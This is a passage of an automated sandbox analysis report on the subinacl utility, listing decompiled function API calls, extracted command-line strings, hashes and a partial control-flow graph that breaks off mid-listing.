                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Privilege$AdjustCheckErrorExceptionLastLookupPrivilegesThrowTokenValue
                                                                                                                  • String ID: Failed to adjust token privilege :$PrivilegeCheck
                                                                                                                  • API String ID: 2631020509-280027001
                                                                                                                  • Opcode ID: dc074001dd398aab2b9ce1a3b71a40f9be93eec4fbb6dbcf36289e0394ac99a3
                                                                                                                  • Instruction ID: 53878ad32b9bb8206db5103152bc2b34d827553a8a3b4bdc9883495f992abd34
                                                                                                                  • Opcode Fuzzy Hash: dc074001dd398aab2b9ce1a3b71a40f9be93eec4fbb6dbcf36289e0394ac99a3
                                                                                                                  • Instruction Fuzzy Hash: 39213672E40218ABEB11DFD5DD84AEEBBBCBB45741F00001AB581EB148D7B4A905CBA0
                                                                                                                  Function 01036161 Relevance: 289.9, APIs: 114, Strings: 51, Instructions: 1125COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • __EH_prolog.LIBCMT ref: 01036166
                                                                                                                  • #538.MFC42U(010014DC,00000000,?,00000002), ref: 0103617A
                                                                                                                  • #4197.MFC42U(010014DC,00000000,?,00000002), ref: 0103618C
                                                                                                                  • #538.MFC42U(010014DC,010014DC,00000000,?,00000002), ref: 01036195
                                                                                                                  • #540.MFC42U(010014DC,010014DC,00000000,?,00000002), ref: 010361A1
                                                                                                                  • #540.MFC42U(010014DC,010014DC,00000000,?,00000002), ref: 010361AD
                                                                                                                  • #2910.MFC42U(00000000,/subdirectories,00000004,010014DC,010014DC,00000000,?,00000002), ref: 010361CC
                                                                                                                    • Part of subcall function 010358C5: wcslen.MSVCRT ref: 010358C9
                                                                                                                  • #2910.MFC42U(00000000,+subdirectories,00000004,00000000,00000000,/subdirectories,00000004,010014DC,010014DC,00000000,?,00000002), ref: 010361E9
                                                                                                                    • Part of subcall function 010358C5: wcsncmp.MSVCRT ref: 010358E3
                                                                                                                  • #2910.MFC42U(00000000,/service,00000004,?,+subdirectories=,00000004,?,0000001F,0000003D,?,/subdirectories=,00000004,?,0000001F,0000003D,00000000), ref: 0103624E
                                                                                                                  • #2910.MFC42U(00000000,+service,00000004,00000000,00000000,/service,00000004,?,+subdirectories=,00000004,?,0000001F,0000003D,?,/subdirectories=,00000004), ref: 0103626B
                                                                                                                  • #2910.MFC42U(00000000,+driver,00000004,00000000,00000000,+service,00000004,00000000,00000000,/service,00000004,?,+subdirectories=,00000004,?,0000001F), ref: 01036288
                                                                                                                  • #2910.MFC42U(00000000,/driver,00000004,00000000,00000000,+driver,00000004,00000000,00000000,+service,00000004,00000000,00000000,/service,00000004,?), ref: 010362A5
                                                                                                                  • #2910.MFC42U(00000000,/file,00000004,00000000,00000000,/driver,00000004,00000000,00000000,+driver,00000004,00000000,00000000,+service,00000004,00000000), ref: 010362C2
                                                                                                                  • #2910.MFC42U(00000000,+file,00000004,00000000,00000000,/file,00000004,00000000,00000000,/driver,00000004,00000000,00000000,+driver,00000004,00000000), ref: 010362DF
                                                                                                                  • #2910.MFC42U(00000000,/onlyfile,00000004,?,+file=,00000004,?,0000001F,0000003D,?,/file=,00000004,?,0000001F,0000003D,00000000), ref: 01036344
                                                                                                                  • #2910.MFC42U(00000000,+onlyfile,00000004,00000000,00000000,/onlyfile,00000004,?,+file=,00000004,?,0000001F,0000003D,?,/file=,00000004), ref: 01036361
                                                                                                                  • #2910.MFC42U(00000000,/reparsepoint,00000004,00000000,00000000,+onlyfile,00000004,00000000,00000000,/onlyfile,00000004,?,+file=,00000004,?,0000001F), ref: 0103637E
                                                                                                                  • #2910.MFC42U(00000000,+reparsepoint,00000004,00000000,00000000,/reparsepoint,00000004,00000000,00000000,+onlyfile,00000004,00000000,00000000,/onlyfile,00000004,?), ref: 0103639B
                                                                                                                  • #2910.MFC42U(00000000,/keyreg,00000004,00000000,00000000,+reparsepoint,00000004,00000000,00000000,/reparsepoint,00000004,00000000,00000000,+onlyfile,00000004,00000000), ref: 010363B8
                                                                                                                  • #2910.MFC42U(00000000,+keyreg,00000004,00000000,00000000,/keyreg,00000004,00000000,00000000,+reparsepoint,00000004,00000000,00000000,/reparsepoint,00000004,00000000), ref: 010363D5
                                                                                                                  • #2910.MFC42U(00000000,/kernelobject,00000004,00000000,00000000,+keyreg,00000004,00000000,00000000,/keyreg,00000004,00000000,00000000,+reparsepoint,00000004,00000000), ref: 010363F2
                                                                                                                  • #2910.MFC42U(00000000,+kernelobject,00000004,00000000,00000000,/kernelobject,00000004,00000000,00000000,+keyreg,00000004,00000000,00000000,/keyreg,00000004,00000000), ref: 0103640F
                                                                                                                  • #2910.MFC42U(00000000,/subkeyreg,00000005,00000000,00000000,+kernelobject,00000004,00000000,00000000,/kernelobject,00000004,00000000,00000000,+keyreg,00000004,00000000), ref: 0103642C
                                                                                                                  • #2910.MFC42U(00000000,+subkeyreg,00000005,00000000,00000000,/subkeyreg,00000005,00000000,00000000,+kernelobject,00000004,00000000,00000000,/kernelobject,00000004,00000000), ref: 01036449
                                                                                                                  • #2910.MFC42U(00000000,/regkey,00000004,00000000,00000000,+subkeyreg,00000005,00000000,00000000,/subkeyreg,00000005,00000000,00000000,+kernelobject,00000004,00000000), ref: 01036466
                                                                                                                  • #2910.MFC42U(00000000,+regkey,00000004,00000000,00000000,/regkey,00000004,00000000,00000000,+subkeyreg,00000005,00000000,00000000,/subkeyreg,00000005,00000000), ref: 01036483
                                                                                                                  • #2910.MFC42U(00000000,/share,00000004,00000000,00000000,+regkey,00000004,00000000,00000000,/regkey,00000004,00000000,00000000,+subkeyreg,00000005,00000000), ref: 010364A0
                                                                                                                  • #2910.MFC42U(00000000,+share,00000004,00000000,00000000,/share,00000004,00000000,00000000,+regkey,00000004,00000000,00000000,/regkey,00000004,00000000), ref: 010364BD
                                                                                                                  • #2910.MFC42U(00000000,/printer,00000004,00000000,00000000,+share,00000004,00000000,00000000,/share,00000004,00000000,00000000,+regkey,00000004,00000000), ref: 010364DA
                                                                                                                  • #2910.MFC42U(00000000,+printer,00000004,00000000,00000000,/printer,00000004,00000000,00000000,+share,00000004,00000000,00000000,/share,00000004,00000000), ref: 010364F7
                                                                                                                  • #2910.MFC42U(00000000,/process,00000004,00000000,00000000,+printer,00000004,00000000,00000000,/printer,00000004,00000000,00000000,+share,00000004,00000000), ref: 01036514
                                                                                                                  • #2910.MFC42U(00000000,+process,00000004,00000000,00000000,/process,00000004,00000000,00000000,+printer,00000004,00000000,00000000,/printer,00000004,00000000), ref: 01036531
                                                                                                                  • #2910.MFC42U(00000000,/metabase,00000004,00000000,00000000,+process,00000004,00000000,00000000,/process,00000004,00000000,00000000,+printer,00000004,00000000), ref: 0103654E
                                                                                                                  • #2910.MFC42U(00000000,+metabase,00000004,00000000,00000000,/metabase,00000004,00000000,00000000,+process,00000004,00000000,00000000,/process,00000004,00000000), ref: 0103656B
                                                                                                                  • #2910.MFC42U(00000000,/samobject,00000004,00000000,00000000,+metabase,00000004,00000000,00000000,/metabase,00000004,00000000,00000000,+process,00000004,00000000), ref: 01036588
                                                                                                                  • #2910.MFC42U(00000000,+samobject,00000004,00000000,00000000,/samobject,00000004,00000000,00000000,+metabase,00000004,00000000,00000000,/metabase,00000004,00000000), ref: 010365A5
                                                                                                                  • #2910.MFC42U(00000000,/clustershare,00000004,00000000,00000000,+samobject,00000004,00000000,00000000,/samobject,00000004,00000000,00000000,+metabase,00000004,00000000), ref: 010365C2
                                                                                                                  • #2910.MFC42U(00000000,+clustershare,00000004,00000000,00000000,/clustershare,00000004,00000000,00000000,+samobject,00000004,00000000,00000000,/samobject,00000004,00000000), ref: 010365DB
                                                                                                                  • #2910.MFC42U(00000000,/playfile,00000004,00000000,00000000,+clustershare,00000004,00000000,00000000,/clustershare,00000004,00000000,00000000,+samobject,00000004,00000000), ref: 010365F4
                                                                                                                  • #4197.MFC42U(?,/file=,00000004,?,0000001F,0000003D,00000000,00000000,+file,00000004,00000000,00000000,/file,00000004,00000000,00000000), ref: 010366BD
                                                                                                                  • #2910.MFC42U(00000000,filesonly,00000001,?,/file=,00000004,?,0000001F,0000003D,00000000,00000000,+file,00000004,00000000,00000000,/file), ref: 010366CF
                                                                                                                  • #2910.MFC42U(00000000,directoriesonly,00000001,00000000,00000000,filesonly,00000001,?,/file=,00000004,?,0000001F,0000003D,00000000,00000000,+file), ref: 010366FA
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,/service,00000004,?,+subdirectories=,00000004,?,0000001F,0000003D,?,/subdirectories=,00000004,?,0000001F), ref: 0103673E
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,00000000,/service,00000004,?,+subdirectories=,00000004,?,0000001F,0000003D,?,/subdirectories=,00000004,?), ref: 0103674D
                                                                                                                  • #4197.MFC42U(?,/subdirectories=,00000004,?,0000001F,0000003D,00000000,00000000,+subdirectories,00000004,00000000,00000000,/subdirectories,00000004,010014DC,010014DC), ref: 0103676B
                                                                                                                  • #2910.MFC42U(00000000,filesonly,00000001,?,/subdirectories=,00000004,?,0000001F,0000003D,00000000,00000000,+subdirectories,00000004,00000000,00000000,/subdirectories), ref: 0103677D
                                                                                                                  • #2910.MFC42U(00000000,directoriesonly,00000001,00000000,00000000,filesonly,00000001,?,/subdirectories=,00000004,?,0000001F,0000003D,00000000,00000000,+subdirectories), ref: 0103679F
                                                                                                                  • #4273.MFC42U(00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC,010014DC,00000000,?,00000002), ref: 010367C7
                                                                                                                  • #800.MFC42U(00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC,010014DC,00000000,?,00000002), ref: 010367DD
                                                                                                                  • #2910.MFC42U(00000000,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC,010014DC,00000000,?,00000002), ref: 01036816
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC,010014DC,00000000,?), ref: 01036844
                                                                                                                  • #858.MFC42U(0000001F,00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC,010014DC,00000000), ref: 0103686D
                                                                                                                  • #861.MFC42U(010014DC,0000001F,00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC,010014DC), ref: 0103687A
                                                                                                                  • wcscmp.MSVCRT ref: 01036895
                                                                                                                  • #4124.MFC42U(?,00000002,00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC,010014DC), ref: 010368B2
                                                                                                                  • #2910.MFC42U(00000000,?,00000002,00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC), ref: 010368BE
                                                                                                                  • #861.MFC42U(-00000004,00000000,?,00000002,00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004), ref: 010368CA
                                                                                                                  • #800.MFC42U(-00000004,00000000,?,00000002,00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004), ref: 010368D6
                                                                                                                  • #4272.MFC42U(?,00000003,-00000004,00000000,?,00000002,00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002,00000000,00000000), ref: 010368E4
                                                                                                                  • #858.MFC42U(00000000,?,00000003,-00000004,00000000,?,00000002,00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002,00000000), ref: 010368F1
                                                                                                                  • #800.MFC42U(00000000,?,00000003,-00000004,00000000,?,00000002,00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002,00000000), ref: 010368FD
                                                                                                                  • #858.MFC42U(?,00000000,?,00000003,-00000004,00000000,?,00000002,00000000,00000000,00000000,00000000,01003608,00000002,00000000,00000002), ref: 0103693A
                                                                                                                    • Part of subcall function 010359B7: #4124.MFC42U(?,-00000001,00000002,?,?,?,?,01036218,?,/subdirectories=,00000004,?,0000001F,0000003D,00000000,00000000), ref: 010359E9
                                                                                                                    • Part of subcall function 010359B7: #858.MFC42U(00000000,?,-00000001,00000002,?,?,?,?,01036218,?,/subdirectories=,00000004,?,0000001F,0000003D,00000000), ref: 010359F6
                                                                                                                    • Part of subcall function 010359B7: #800.MFC42U(00000000,?,-00000001,00000002,?,?,?,?,01036218,?,/subdirectories=,00000004,?,0000001F,0000003D,00000000), ref: 01035A02
                                                                                                                    • Part of subcall function 010359B7: #4272.MFC42U(00000002,00000001,00000000,?,-00000001,00000002,?,?,?,?,01036218,?,/subdirectories=,00000004,?,0000001F), ref: 01035A10
                                                                                                                    • Part of subcall function 010359B7: #858.MFC42U(00000000,00000002,00000001,00000000,?,-00000001,00000002,?,?,?,?,01036218,?,/subdirectories=,00000004,?), ref: 01035A1F
                                                                                                                    • Part of subcall function 010359B7: #800.MFC42U(00000000,00000002,00000001,00000000,?,-00000001,00000002,?,?,?,?,01036218,?,/subdirectories=,00000004,?), ref: 01035A2B
                                                                                                                    • Part of subcall function 010359B7: #2910.MFC42U(00000000,00000000,00000002,00000001,00000000,?,-00000001,00000002,?,?,?,?,01036218,?,/subdirectories=,00000004), ref: 01035A35
                                                                                                                    • Part of subcall function 010359B7: wcslen.MSVCRT ref: 01035A3B
                                                                                                                  • #858.MFC42U(0000001F,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC,010014DC,00000000,?,00000002), ref: 01036971
                                                                                                                  • #2910.MFC42U(00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC,010014DC,00000000,?), ref: 01036986
                                                                                                                  • #858.MFC42U(00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004,010014DC), ref: 0103699C
                                                                                                                  • #858.MFC42U(00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004), ref: 010369A5
                                                                                                                  • #800.MFC42U(00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004), ref: 010369B1
                                                                                                                  • #2910.MFC42U(00000000), ref: 01036A1A
                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,00000000), ref: 01036A26
                                                                                                                  • GetLastError.KERNEL32(OpenSCManager :), ref: 01036A37
                                                                                                                  • #2910.MFC42U(00000000), ref: 01036A62
                                                                                                                  • #823.MFC42U(000001FC), ref: 01036AA6
                                                                                                                  • #2910.MFC42U(00000000,00000000,?), ref: 01036AC3
                                                                                                                    • Part of subcall function 010359B7: __EH_prolog.LIBCMT ref: 010359BC
                                                                                                                    • Part of subcall function 010359B7: #2755.MFC42U(?,?,?,?,01036218,?,/subdirectories=,00000004,?,0000001F,0000003D,00000000,00000000,+subdirectories,00000004,00000000), ref: 010359CA
                                                                                                                  • wcscmp.MSVCRT ref: 01036AEC
                                                                                                                  • #2910.MFC42U(00000000), ref: 01036AFC
                                                                                                                  • #2910.MFC42U(00000000), ref: 01036B39
                                                                                                                  • #2910.MFC42U(00000000), ref: 01036B58
                                                                                                                  • #823.MFC42U(0000044C,00000000), ref: 01036BA5
                                                                                                                  • #2910.MFC42U(00000000,00000000), ref: 01036BBA
                                                                                                                  • #823.MFC42U(000001FC,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036BE2
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000001,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000), ref: 01036BFC
                                                                                                                  • #823.MFC42U(000001FC,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036C19
                                                                                                                  • #823.MFC42U(00001340,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036C3C
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036C50
                                                                                                                  • #823.MFC42U(000001F8,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036C78
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036C8C
                                                                                                                  • #823.MFC42U(00000220,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036CB4
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000), ref: 01036CCA
                                                                                                                  • #823.MFC42U(000001F8,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036CF2
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036D06
                                                                                                                    • Part of subcall function 010359B7: #538.MFC42U(?,?,01036218,?,/subdirectories=,00000004,?,0000001F,0000003D,00000000,00000000,+subdirectories,00000004,00000000,00000000,/subdirectories), ref: 01035A53
                                                                                                                    • Part of subcall function 010359B7: #535.MFC42U(?,?,?,01036218,?,/subdirectories=,00000004,?,0000001F,0000003D,00000000,00000000,+subdirectories,00000004,00000000,00000000), ref: 01035A65
                                                                                                                    • Part of subcall function 010359B7: wcsncmp.MSVCRT ref: 01035A71
                                                                                                                    • Part of subcall function 010359B7: #800.MFC42U(00000000,?,00000002), ref: 01035A87
                                                                                                                    • Part of subcall function 010359B7: #800.MFC42U(00000000,?,00000002), ref: 01035A93
                                                                                                                  • #823.MFC42U(000001F0,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036D40
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036D54
                                                                                                                  • #823.MFC42U(000001FC,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036D7C
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036D90
                                                                                                                  • #823.MFC42U(000001FC,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036DB9
                                                                                                                  • #540.MFC42U(00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories,00000004), ref: 01036DD6
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000,/subdirectories), ref: 01036DEC
                                                                                                                  • #538.MFC42U(00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000), ref: 01036DF5
                                                                                                                  • #540.MFC42U(00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000,01003608,00000002,00000000,00000002,00000000,00000000), ref: 01036E01
                                                                                                                  • GetLastError.KERNEL32(Parsing registry key error :,?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?), ref: 01036E31
                                                                                                                  • #2910.MFC42U(00000000), ref: 01036E5C
                                                                                                                  • #800.MFC42U ref: 01036EA6
                                                                                                                  • #800.MFC42U ref: 01036EB2
                                                                                                                  • #800.MFC42U ref: 01036EBE
                                                                                                                  • #823.MFC42U(00000200,?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?), ref: 01036ECD
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 01036EE4
                                                                                                                  • #2910.MFC42U(00000000,00000000,00000000,00000000,00000000,?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?), ref: 01036EEE
                                                                                                                  • #800.MFC42U(?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000), ref: 01036F14
                                                                                                                  • #800.MFC42U(?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000), ref: 01036F20
                                                                                                                  • #800.MFC42U(?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000), ref: 01036F2C
                                                                                                                  • #800.MFC42U(?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000), ref: 01036F38
                                                                                                                  • #800.MFC42U(?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000), ref: 01036F44
                                                                                                                  • #800.MFC42U(?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000), ref: 01036F4F
                                                                                                                  • #800.MFC42U(?,?,0000001F,00000001,00000000,?,00000000,00000000,00000000,00000000,?,00000000,00000000,00000002,?,00000000), ref: 01036F5B
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: #2910$#800$#823$#858$#538#540$#4197$#4124#4272#861ErrorH_prologLastwcscmpwcslenwcsncmp$#2755#4273#535ManagerOpen
                                                                                                                  • String ID: - $ - DfsPath is not supported$ is invalid. You should use filesonly or directoriesonly $ will not be processed. Dfs path is not supported$+clustershare$+driver$+file$+file=$+kernelobject$+keyreg$+metabase$+onlyfile$+printer$+process$+regkey$+reparsepoint$+samobject$+service$+share$+subdirectories$+subdirectories=$+subkeyreg$--- DEBUG ObjCreateInstance - Default Sam Server will be = $--- DEBUG ObjCreateInstance - Error FileFullPathName = $/clustershare$/driver$/file$/file=$/kernelobject$/keyreg$/metabase$/onlyfile$/playfile$/printer$/process$/regkey$/reparsepoint$/samobject$/service$/share$/subdirectories$/subdirectories=$/subkeyreg$Could not open Sam Server :$Error $OpenSCManager :$Parsing registry key error :$Remote access is not allowed for kernelobject or process$Unknown message $directoriesonly$filesonly
                                                                                                                  • API String ID: 4197239884-3296023821
                                                                                                                  • Opcode ID: f0bff6946ef0643fc75edc2c9055052a5970c531ad02b3f03adce31fb385bf0f
                                                                                                                  • Instruction ID: 3690535e73fda2d2dba8554175998f4b662ee8306b69ff9f6bc4b35ffdbe1ee6
                                                                                                                  • Opcode Fuzzy Hash: f0bff6946ef0643fc75edc2c9055052a5970c531ad02b3f03adce31fb385bf0f
                                                                                                                  • Instruction Fuzzy Hash: 2F82C274600206BBDF15BBB9CC94BEFBBADAFA4704F400559F582E7281DB798A408761
                                                                                                                  Function 0103BC86 Relevance: 214.4, APIs: 106, Strings: 16, Instructions: 897COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 1021 103bc86-103bd06 call 103e368 call 103e3f0 call 1038174 #540 * 2 1028 103bd08-103bd0d call 103d0fb 1021->1028 1029 103bd1c-103bd47 #540 call 103ba24 1021->1029 1032 103bd12-103bd17 call 103cf1c 1028->1032 1035 103caae-103caf0 #800 * 3 call 103dee7 1029->1035 1036 103bd4d 1029->1036 1032->1029 1037 103bd52-103bd58 1036->1037 1040 103bdd5-103be11 #861 #4197 #6278 #6279 1037->1040 1041 103bd5a-103bd6d #823 1037->1041 1042 103be17-103be59 #537 call 101d5b3 #800 1040->1042 1043 103c918-103c93e call 103ba24 1040->1043 1041->1040 1044 103bd6f-103bd84 ExpandEnvironmentStringsW 1041->1044 1053 103be97-103beac wcscmp 1042->1053 1054 103be5b-103be61 1042->1054 1043->1037 1052 103c944-103c94a 1043->1052 1047 103bd86-103bda1 wcscpy 1044->1047 1048 103bdc9-103bdd4 #825 1044->1048 1047->1048 1049 103bda3-103bdc4 1047->1049 1048->1040 1049->1048 1056 103ca73-103ca79 1052->1056 1057 103c950-103c961 1052->1057 1058 103bec5-103becf 1053->1058 1059 103beae-103bec0 #861 1053->1059 1060 103be63-103be6a 1054->1060 1061 103be85-103be94 call 1038174 1054->1061 1056->1035 1065 103ca7b-103ca93 1056->1065 1063 103c9a3-103c9aa 1057->1063 1064 103c963-103c966 1057->1064 1066 103c446-103c44d 1058->1066 1067 103bed5-103bedb 1058->1067 1059->1058 1060->1061 1068 103be6c-103be7f 1060->1068 1061->1053 1069 103c9d2-103ca16 call 1031477 __RTDynamicCast 1063->1069 1070 103c9ac-103c9b3 1063->1070 1073 103c976-103c9a0 call 1038174 call 10383f6 call 1038174 1064->1073 1074 103c968-103c96e 1064->1074 1092 103ca95 1065->1092 1093 103ca9a-103caa9 1065->1093 1066->1043 1076 103c453-103c45f 1066->1076 1067->1043 1075 103bee1-103bee7 1067->1075 1068->1061 1101 103ca64-103ca6e call 1031b3a 1069->1101 1102 103ca18-103ca1f 1069->1102 1070->1069 1077 103c9b5-103c9bb 1070->1077 1073->1063 1074->1073 1079 103c970 1074->1079 1081 103bfe8-103c034 call 1038174 #2910 call 10383f6 1075->1081 1082 103beed-103bfe3 #540 #535 #538 #922 #925 #858 #800 * 4 #2910 call 103d271 #800 1075->1082 1084 103c465-103c476 1076->1084 1085 103c689-103c6ba #2756 wcscmp 1076->1085 1077->1056 1088 103c9c1-103c9cd call 103b9be 1077->1088 1079->1073 1130 103c039-103c03b 1081->1130 1082->1043 1095 103c4f0-103c4f7 1084->1095 1096 103c478-103c47b 1084->1096 1089 103c6c7-103c6ce 1085->1089 1090 103c6bc-103c6c2 1085->1090 1088->1056 1099 103c6d4-103c744 #538 #922 #800 #2910 call 103d271 1089->1099 1100 103c76b-103c83d #4124 #858 #800 #6279 #538 #4272 #858 #800 #6278 #5597 * 2 call 1036161 1089->1100 1090->1043 1092->1093 1093->1035 1105 103c531-103c567 #5706 call 101d5d4 #800 1095->1105 1106 103c4f9-103c500 1095->1106 1107 103c48b-103c4ed call 1038174 * 4 call 10383f6 call 1038174 1096->1107 1108 103c47d-103c483 1096->1108 1184 103c760 1099->1184 1185 103c746-103c753 1099->1185 1122 103c842-103c84e 1100->1122 1101->1056 1113 103ca41-103ca48 1102->1113 1114 103ca21-103ca31 #2755 1102->1114 1146 103c5e4-103c628 call 1031477 __RTDynamicCast 1105->1146 1147 103c569-103c5a6 #925 #858 #800 1105->1147 1115 103c502-103c508 1106->1115 1116 103c51f-103c52f #2755 1106->1116 1107->1095 1108->1107 1110 103c485 1108->1110 1110->1107 1125 103ca59-103ca5f call 103172d 1113->1125 1127 103ca4a-103ca57 call 1031ddf 1113->1127 1124 103ca33-103ca3f call 103b9be 1114->1124 1114->1125 1128 103c656-103c65c 1115->1128 1129 103c50e-103c51a call 103b9be 1115->1129 1116->1105 1116->1115 1134 103c8f7-103c8fd 1122->1134 1135 103c854-103c8c4 #538 #922 #800 #2910 call 103d271 1122->1135 1124->1101 1125->1101 1127->1101 1138 103c66b-103c683 call 1038174 1128->1138 1139 103c65e-103c666 1128->1139 1129->1128 1144 103c041-103c04d 1130->1144 1145 103c42b-103c43e call 1038174 1130->1145 1152 103c909-103c913 #800 1134->1152 1153 103c8ff 1134->1153 1198 103c8e0-103c8f5 #800 1135->1198 1199 103c8c6-103c8d6 1135->1199 1138->1085 1139->1138 1158 103c053-103c1ae #535 call 1035405 #540 #538 #535 #538 #922 * 3 #858 #800 * 6 #2910 call 103d271 1144->1158 1159 103c1da-103c2c9 #538 #535 #538 #922 * 3 #800 * 5 call 1035405 call 103d271 1144->1159 1145->1066 1171 103c647-103c651 call 1031b3a 1146->1171 1172 103c62a-103c637 1146->1172 1147->1146 1162 103c5a8-103c5de #2910 1147->1162 1152->1043 1153->1152 1210 103c1c0-103c1d5 #800 1158->1210 1211 103c1b0-103c1b8 1158->1211 1194 103c2cf-103c2e1 #800 1159->1194 1162->1146 1171->1128 1178 103c642 call 103172d 1172->1178 1179 103c639-103c640 call 1031ddf 1172->1179 1178->1171 1179->1171 1184->1100 1185->1184 1194->1145 1197 103c2e7-103c3c4 #535 call 1035405 #540 #538 #922 #925 #858 #800 * 3 #2910 1194->1197 1214 